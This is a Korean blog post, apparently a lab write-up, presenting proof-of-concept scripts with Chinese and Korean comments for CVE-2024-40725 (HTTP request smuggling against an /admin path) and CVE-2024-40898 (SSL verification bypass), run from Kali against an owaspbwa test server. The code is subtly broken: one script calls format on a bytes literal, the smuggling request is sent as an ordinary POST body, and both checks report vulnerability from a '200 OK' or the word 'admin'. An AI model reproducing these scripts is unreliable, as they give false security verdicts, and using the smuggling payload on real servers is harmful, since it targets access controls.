CVE-2024-40725, CVE-2024-40898 PoC 파일 패킷 덤프

 

import requests
import argparse

def detect_http_request_smuggling(target_url):
    """
    檢測目標 Apache HTTP Server 是否存在 CVE-2024-40725 (HTTP Request Smuggling) 漏洞

    :param target_url: 目標伺服器的 URL
    """
    # 構造 HTTP Request Smuggling 攻擊請求
    smuggled_request = (
        "POST / HTTP/1.1\r\n"
        "Host: {}\r\n"
        "Content-Length: 0\r\n"
        "Transfer-Encoding: chunked\r\n"
        "\r\n"
        "0\r\n\r\n"
        "GET /admin HTTP/1.1\r\n"
        "Host: {}\r\n"
        "User-Agent: smuggle-test\r\n"
        "\r\n"
    ).format(target_url, target_url)

    try:
        # 發送請求到目標伺服器
        response = requests.post(target_url, data=smuggled_request, headers={'Content-Type': 'text/plain'}, timeout=10)
        
        # 判斷回應是否表示存在漏洞
        if response.status_code == 200 and "admin" in response.text:
            print(f"目標 {target_url} 可能存在 CVE-2024-40725 漏洞")
        else:
            print(f"目標 {target_url} 不存在 CVE-2024-40725 漏洞")
    except Exception as e:
        print(f"檢測過程中出錯: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='檢測 CVE-2024-40725 漏洞')
    parser.add_argument('-u', '--url', required=True, help='目標伺服器的 URL')
    args = parser.parse_args()
    detect_http_request_smuggling(args.url)
 

 

CVE-2024-40725.py (한글 주석)

import requests
import argparse

def detect_http_request_smuggling(target_url):
    """
    주어진 URL의 서버에서 CVE-2024-40725 (HTTP Request Smuggling) 취약점이 존재하는지 검사합니다.

    :param target_url: 검사할 서버의 URL
    """
    # HTTP Request Smuggling 공격을 위한 요청 본문 생성
    smuggled_request = (
        "POST / HTTP/1.1\r\n"
        "Host: {}\r\n"
        "Content-Length: 0\r\n"
        "Transfer-Encoding: chunked\r\n"
        "\r\n"
        "0\r\n\r\n"
        "GET /admin HTTP/1.1\r\n"
        "Host: {}\r\n"
        "User-Agent: smuggle-test\r\n"
        "\r\n"
    ).format(target_url.split('/')[2], target_url.split('/')[2])  # URL에서 호스트명 추출

    try:
        # 서버에 요청을 전송합니다
        headers = {'Content-Type': 'text/plain'}
        response = requests.post(target_url, data=smuggled_request, headers=headers, timeout=10)
        
        # 응답 상태 코드와 내용을 분석하여 취약점의 존재 여부를 판단합니다
        if response.status_code == 200 and "admin" in response.text:
            print(f"목표 {target_url}는 CVE-2024-40725 취약점이 있을 수 있습니다.")
        else:
            print(f"목표 {target_url}는 CVE-2024-40725 취약점이 없는 것으로 보입니다.")
    except requests.RequestException as e:
        # 요청 과정에서 발생한 예외를 출력합니다
        print(f"검사 중 오류 발생: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='CVE-2024-40725 취약점 검사 도구')
    parser.add_argument('-u', '--url', required=True, help='검사할 서버의 URL')
    args = parser.parse_args()
    detect_http_request_smuggling(args.url)
 

코드 해석

 

  1. import requests 및 import argparse: 필요한 라이브러리를 가져옴. requests는 HTTP 요청을 보내기 위해, argparse는 명령줄 인자를 처리하기 위해 사용됨.
  2. detect_http_request_smuggling(target_url) 함수: 이 함수는 주어진 URL에서 HTTP Request Smuggling 취약점을 검사함.
  • smuggled_request: HTTP Request Smuggling 공격을 위한 요청 본문을 구성함. 요청 본문은 두 개의 요청을 포함하고 있음. 첫 번째 요청은 빈 Content-Length와 Transfer-Encoding: chunked 헤더를 가지고, 두 번째 요청은 /admin 페이지를 요청함.
  • 호스트명 추출: URL에서 호스트명을 추출하기 위해 target_url.split('/')[2]를 사용함. 이는 URL의 도메인 부분만을 추출함.
  • 요청 전송: requests.post를 사용하여 서버에 POST 요청을 전송함. 요청 본문과 Content-Type: text/plain 헤더를 포함함.
  • 응답 분석: 응답의 상태 코드가 200인지와 응답 본문에 "admin"이 포함되어 있는지 검사하여 취약점의 존재 여부를 판단함.
  • 예외 처리: 요청 전송 중 발생할 수 있는 예외를 처리하고 오류 메시지를 출력함.

 

3. if __name__ == "__main__": 블록: 스크립트가 직접 실행될 때, 명령줄 인자를 처리하여 detect_http_request_smuggling 함수를 호출함.

  • argparse 설정: 명령줄 인자를 정의하고, -u 또는 --url 인자를 필수로 요구함. 이 인자에는 검사할 서버의 URL을 입력해야 함.

 

특정 취약점(CVE-2024-40725)에 대해 HTTP request smuggling(취약점)을 검사하기 위한 도구로 사용됨. 스크립트를 실행하기 전에 반드시 해당 서버에 대한 적절한 권한을 얻어야 함.

 

HTTP request smuggling

 

  • 웹 서버와 프록시 서버가 요청을 다르게 처리하는 방식을 이용해, 공격자가 원하지 않는 요청을 서버에 삽입하는 공격 방법
  • 이 공격은 웹 서버와 프록시 서버 간의 요청 처리 불일치를 악용하여 발생

 

이러한 공격을 방어하기 위해서는, 서버와 프록시 서버가 요청을 일관되게 처리하도록 설정하고, 웹 서버의 보안을 유지하는 것이 중요함.

 

예시

 

정상적인 요청(Normal request) : 사용자가 웹사이트에 로그인하려고 할 때, 프록시 서버는 로그인 요청을 웹 서버에 전달

스머글링 요청(Smuggling request) : 공격자는 아래와 같은 형식으로 요청을 보낼 수 있음.

 

POST / HTTP/1.1
Host: example.com
Content-Length: 0
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: example.com
 

이 요청은:

  • 첫 번째 요청(First request): POST / 요청을 프록시 서버가 받아서 처리함.
  • 두 번째 요청(Second request): GET /admin 요청을 웹 서버가 받아서 처리할 수 있도록 만들어, 프록시 서버와 웹 서버 간의 처리 차이를 이용함.

 

CVE-2024-40898.py

 

CVE-2024-40898 (SSL 인증 우회) 취약점을 검사하기 위한 도구. SSL 인증 우회는 서버가 클라이언트 인증을 올바르게 수행하지 않아서 보안 문제가 발생할 수 있는 취약점임. 이 스크립트는 주어진 서버가 이 취약점에 노출되어 있는지 테스트함.

import ssl
import socket
import argparse

def detect_ssl_verification_bypass(target_host, target_port):
    """
    檢測目標 Apache HTTP Server 是否存在 CVE-2024-40898 (SSL 驗證繞過) 漏洞

    :param target_host: 目標伺服器的主機名或 IP 地址
    :param target_port: 目標伺服器的端口號
    """
    context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
    context.verify_mode = ssl.CERT_OPTIONAL

    try:
        # 連接目標伺服器
        with socket.create_connection((target_host, target_port)) as sock:
            with context.wrap_socket(sock, server_hostname=target_host) as ssock:
                ssock.sendall(b"HEAD / HTTP/1.1\r\nHost: {}\r\n\r\n".format(target_host.encode()))
                response = ssock.recv(4096)

                # 判斷回應是否表示存在漏洞
                if b"200 OK" in response:
                    print(f"目標 {target_host}:{target_port} 可能存在 CVE-2024-40898 漏洞")
                else:
                    print(f"目標 {target_host}:{target_port} 不存在 CVE-2024-40898 漏洞")
    except Exception as e:
        print(f"檢測過程中出錯: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='檢測 CVE-2024-40898 漏洞')
    parser.add_argument('-u', '--url', required=True, help='目標伺服器的 URL')
    args = parser.parse_args()
    
    # 分割主機名和端口號
    target_host, target_port = args.url.split(":")
    detect_ssl_verification_bypass(target_host, int(target_port))
 

 

 

CVE-2024-40898.py (한글 주석)

 

import ssl
import socket
import argparse

def detect_ssl_verification_bypass(target_host, target_port):
    """
    주어진 호스트와 포트에서 CVE-2024-40898 (SSL 인증 우회) 취약점이 존재하는지 검사합니다.

    :param target_host: 검사할 서버의 호스트명 또는 IP 주소
    :param target_port: 검사할 서버의 포트 번호
    """
    # SSL 컨텍스트를 생성하고 클라이언트 인증을 선택적으로 요구하도록 설정합니다
    context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
    context.verify_mode = ssl.CERT_OPTIONAL

    try:
        # 주어진 호스트와 포트로 연결을 시도합니다
        with socket.create_connection((target_host, target_port)) as sock:
            # SSL 소켓을 생성하고 서버와의 연결을 감쌉니다
            with context.wrap_socket(sock, server_hostname=target_host) as ssock:
                # 서버에 HTTP HEAD 요청을 전송합니다
                ssock.sendall(b"HEAD / HTTP/1.1\r\nHost: {}\r\n\r\n".format(target_host.encode()))
                # 서버로부터 응답을 수신합니다
                response = ssock.recv(4096)

                # 응답에서 "200 OK"가 포함되어 있으면 취약점이 존재할 가능성이 있습니다
                if b"200 OK" in response:
                    print(f"목표 {target_host}:{target_port}는 CVE-2024-40898 취약점이 있을 수 있습니다.")
                else:
                    print(f"목표 {target_host}:{target_port}는 CVE-2024-40898 취약점이 없는 것으로 보입니다.")
    except Exception as e:
        # 검사 도중 예외가 발생한 경우 오류 메시지를 출력합니다
        print(f"검사 중 오류 발생: {e}")

if __name__ == "__main__":
    # 명령줄 인자를 처리하기 위한 ArgumentParser 객체를 생성합니다
    parser = argparse.ArgumentParser(description='CVE-2024-40898 취약점 검사 도구')
    parser.add_argument('-u', '--url', required=True, help='검사할 서버의 URL')
    args = parser.parse_args()
    
    # URL에서 호스트명과 포트 번호를 분리합니다
    target_host, target_port = args.url.split(":")
    # SSL 인증 우회 취약점을 검사합니다
    detect_ssl_verification_bypass(target_host, int(target_port))
 

코드 해석

 

  1. SSL 컨텍스트 설정:
  • ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)를 사용하여 기본 SSL 컨텍스트를 생성. ssl.Purpose.CLIENT_AUTH는 클라이언트 인증을 위해 SSL 컨텍스트를 설정하는 것을 의미함.
  • context.verify_mode = ssl.CERT_OPTIONAL로 설정하여 클라이언트 인증서 검증을 선택적으로 만듬. 이 설정이 취약점 테스트의 핵심.

 

 

2. 서버에 연결:

  • socket.create_connection((target_host, target_port))을 사용하여 주어진 호스트와 포트에 연결.
  • context.wrap_socket(sock, server_hostname=target_host)를 통해 SSL 연결을 설정함.

 

3.HTTP 요청 전송 및 응답 수신:

  • ssock.sendall(b"HEAD / HTTP/1.1\r\nHost: {}\r\n\r\n".format(target_host.encode()))로 서버에 HTTP HEAD 요청을 전송함.
  • ssock.recv(4096)을 통해 서버의 응답을 수신함.

 

 

4. 취약점 확인:

  • 응답에서 b"200 OK" 문자열이 포함되어 있으면, SSL 인증 우회 취약점이 존재할 가능성이 있다고 판단함.

 

5. 명령줄 인자 처리:

  • argparse를 사용하여 명령줄에서 URL을 입력받음. URL은 호스트명과 포트 번호를 포함해야 함.
  • args.url.split(":")를 사용하여 호스트명과 포트 번호를 분리하고, 이를 detect_ssl_verification_bypass 함수에 전달함.

 

이 스크립트는 SSL 인증 우회 취약점을 검사하는 도구로서, 주어진 서버가 해당 취약점에 노출되어 있는지를 확인하는 데 유용함.

 


 

PoC 파일을 실행 시킬 테스트 서버로 owaspbwa를 이용함.

 

CVE-2024-40725 PoC 스크립트 실행 참고 링크:

https://youtu.be/6TIRoEexTVI?si=ympZxJlbvBzzRx1T

https://davidtancredi.gitbook.io/pentesting-notes/r3dcl1ff/private-template/cve-2024-40725

 

CVE-2024-40725.py

 
사진 삭제

사진 설명을 입력하세요.

칼리 리눅스 터미널에서 피해 대상 서버 url 넣고 스크립트 실행

실행 성공하면 위와 같은 중국어 문구로 뜨게 됨.

 
사진 삭제

사진 설명을 입력하세요.

wireshark로 패킷 덤프

 
사진 삭제

사진 설명을 입력하세요.

패킷 덤프 성공 화면

 

 

CVE-2024-40898.py

 

테스트 서버 owaspba에 맞춰 수정해 스크립트 실행이 가능하도록 만든 코드

 

import ssl
import socket
import argparse
from urllib.parse import urlparse

def detect_ssl_verification_bypass(target_host, target_port):
    """
    檢測目標 Apache HTTP Server 是否存在 CVE-2024-40898 (SSL 驗證繞過) 漏洞

    :param target_host: 目標主機名或 IP 地址
    :param target_port: 目標端口號
    """
    if target_port == 80:
        # Perform HTTP request (port 80)
        try:
            with socket.create_connection((target_host, target_port)) as sock:
                # Correctly format the HTTP request and encode it to bytes
                request = "HEAD / HTTP/1.1\r\nHost: {}\r\n\r\n".format(target_host).encode()
                sock.sendall(request)
                response = sock.recv(4096)

                if b"200 OK" in response:
                    print(f"目標 {target_host}:{target_port} 可能存在 CVE-2024-40898 漏洞")
                else:
                    print(f"目標 {target_host}:{target_port} 不存在 CVE-2024-40898 漏洞")
        except Exception as e:
            print(f"HTTP 請求過程中出錯: {e}")

    elif target_port == 443:
        # Perform HTTPS request (port 443)
        context = ssl.create_default_context()
        context.check_hostname = False
        context.verify_mode = ssl.CERT_NONE

        try:
            with socket.create_connection((target_host, target_port)) as sock:
                with context.wrap_socket(sock, server_hostname=target_host) as ssock:
                    # Correctly format the HTTPS request and encode it to bytes
                    request = "HEAD / HTTP/1.1\r\nHost: {}\r\n\r\n".format(target_host).encode()
                    ssock.sendall(request)
                    response = ssock.recv(4096)

                    if b"200 OK" in response:
                        print(f"目標 {target_host}:{target_port} 可能存在 CVE-2024-40898 漏洞")
                    else:
                        print(f"目標 {target_host}:{target_port} 不存在 CVE-2024-40898 漏洞")
        except ssl.SSLError as ssl_err:
            print(f"SSL 錯誤: {ssl_err}")
        except socket.error as sock_err:
            print(f"Socket 錯誤: {sock_err}")
        except Exception as e:
            print(f"HTTPS 請求過程中出錯: {e}")

    else:
        print(f"不支持的端口: {target_port}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='檢測 CVE-2024-40898 漏洞')
    parser.add_argument('-u', '--url', required=True, help='目標伺服器的 URL')
    args = parser.parse_args()
    
    # 解析 URL
    parsed_url = urlparse(args.url)
    target_host = parsed_url.hostname
    target_port = parsed_url.port if parsed_url.port else (443 if parsed_url.scheme == 'https' else 80)  # 默認端口為 443 或 80

    # Debug output for parsed URL components
    if target_host:
        print(f"解析結果 - 主機名: {target_host}, 端口: {target_port}")
        detect_ssl_verification_bypass(target_host, target_port)
    else:
        print("無效的 URL,請提供有效的主機名或 IP 地址")
 

CVE-2024-40898.py (한글 주석)

주어진 URL에서 호스트명과 포트 번호를 추출하고, HTTP 또는 HTTPS 요청을 보내어 취약점을 확인

import ssl
import socket
import argparse
from urllib.parse import urlparse

def detect_ssl_verification_bypass(target_host, target_port):
    """
    주어진 호스트와 포트에서 CVE-2024-40898 (SSL 인증 우회) 취약점이 존재하는지 검사합니다.

    :param target_host: 검사할 서버의 호스트명 또는 IP 주소
    :param target_port: 검사할 서버의 포트 번호
    """
    if target_port == 80:
        # 포트 80에서 HTTP 요청을 보냅니다
        try:
            with socket.create_connection((target_host, target_port)) as sock:
                # HTTP 요청을 올바르게 포맷하고 바이트로 인코딩합니다
                request = "HEAD / HTTP/1.1\r\nHost: {}\r\n\r\n".format(target_host).encode()
                sock.sendall(request)
                response = sock.recv(4096)

                # 응답에서 "200 OK"가 포함되어 있으면 취약점이 있을 가능성이 있습니다
                if b"200 OK" in response:
                    print(f"목표 {target_host}:{target_port}는 CVE-2024-40898 취약점이 있을 수 있습니다.")
                else:
                    print(f"목표 {target_host}:{target_port}는 CVE-2024-40898 취약점이 없는 것으로 보입니다.")
        except Exception as e:
            # HTTP 요청 과정에서 오류가 발생한 경우 오류 메시지를 출력합니다
            print(f"HTTP 요청 중 오류 발생: {e}")

    elif target_port == 443:
        # 포트 443에서 HTTPS 요청을 보냅니다
        context = ssl.create_default_context()
        context.check_hostname = False
        context.verify_mode = ssl.CERT_NONE

        try:
            with socket.create_connection((target_host, target_port)) as sock:
                with context.wrap_socket(sock, server_hostname=target_host) as ssock:
                    # HTTPS 요청을 올바르게 포맷하고 바이트로 인코딩합니다
                    request = "HEAD / HTTP/1.1\r\nHost: {}\r\n\r\n".format(target_host).encode()
                    ssock.sendall(request)
                    response = ssock.recv(4096)

                    # 응답에서 "200 OK"가 포함되어 있으면 취약점이 있을 가능성이 있습니다
                    if b"200 OK" in response:
                        print(f"목표 {target_host}:{target_port}는 CVE-2024-40898 취약점이 있을 수 있습니다.")
                    else:
                        print(f"목표 {target_host}:{target_port}는 CVE-2024-40898 취약점이 없는 것으로 보입니다.")
        except ssl.SSLError as ssl_err:
            # SSL 오류가 발생한 경우 오류 메시지를 출력합니다
            print(f"SSL 오류 발생: {ssl_err}")
        except socket.error as sock_err:
            # 소켓 오류가 발생한 경우 오류 메시지를 출력합니다
            print(f"소켓 오류 발생: {sock_err}")
        except Exception as e:
            # HTTPS 요청 과정에서 오류가 발생한 경우 오류 메시지를 출력합니다
            print(f"HTTPS 요청 중 오류 발생: {e}")

    else:
        # 지원하지 않는 포트인 경우 메시지를 출력합니다
        print(f"지원하지 않는 포트: {target_port}")

if __name__ == "__main__":
    # 명령줄 인자를 처리하기 위한 ArgumentParser 객체를 생성합니다
    parser = argparse.ArgumentParser(description='CVE-2024-40898 취약점 검사 도구')
    parser.add_argument('-u', '--url', required=True, help='검사할 서버의 URL')
    args = parser.parse_args()
    
    # URL을 분석하여 호스트명과 포트 번호를 추출합니다
    parsed_url = urlparse(args.url)
    target_host = parsed_url.hostname
    target_port = parsed_url.port if parsed_url.port else (443 if parsed_url.scheme == 'https' else 80)  # 기본 포트는 443 또는 80

    # URL 구성 요소를 디버깅 출력합니다
    if target_host:
        print(f"파싱 결과 - 호스트명: {target_host}, 포트: {target_port}")
        detect_ssl_verification_bypass(target_host, target_port)
    else:
        print("유효하지 않은 URL입니다. 유효한 호스트명 또는 IP 주소를 제공해 주세요.")
 

코드 해석

 

  1. SSL/TLS 설정:
  • ssl.create_default_context()를 사용하여 기본 SSL/TLS 컨텍스트를 생성.
  • context.check_hostname = False context.verify_mode = ssl.CERT_NONE을 설정하여 SSL 인증을 비활성화함. 이는 SSL 인증 우회 취약점을 검사하기 위한 설정.

 

2. HTTP 요청:

  • 포트 80에서 HTTP 요청을 보내고 응답을 확인.
  • 요청은 HEAD / HTTP/1.1\r\nHost: {}\r\n\r\n 형식으로 포맷됨.

 

3. HTTPS 요청:

  • 포트 443에서 HTTPS 요청을 보냄.
  • ssl.create_default_context()와 context.wrap_socket()을 사용하여 SSL 소켓을 생성하고 HTTPS 요청을 보냄.

 

4. URL 파싱:

  • urlparse()를 사용하여 명령줄 인자로부터 URL을 분석함.
  • URL에서 호스트명과 포트 번호를 추출함. 포트 번호가 없는 경우, 기본 포트 번호는 https의 경우 443, 그렇지 않은 경우 80으로 설정함.

 

5. 오류 처리:

  • HTTP 및 HTTPS 요청 도중 발생할 수 있는 오류를 처리하여 사용자에게 오류 메시지를 출력함.

 

스크립트 실행 예:

 

HTTP 테스트 (포트 80):

python script.py -u http://example.com
 

HTTPS 테스트 (포트 443):

python script.py -u https://example.com
 

 

스크립트 실행

 (root@kali) - [/home/kali/Downloads]
# python3 CVE-2024-40898.py -u http://대상 서버 
 

 

패킷 덤프 성공화면

 

 

 

 

'RED' 카테고리의 다른 글

[DVWA] Brute Force  (0) 2025.03.11
Caidao-20160622 툴을 이용한 One Line Webshell 실습  (0) 2025.03.11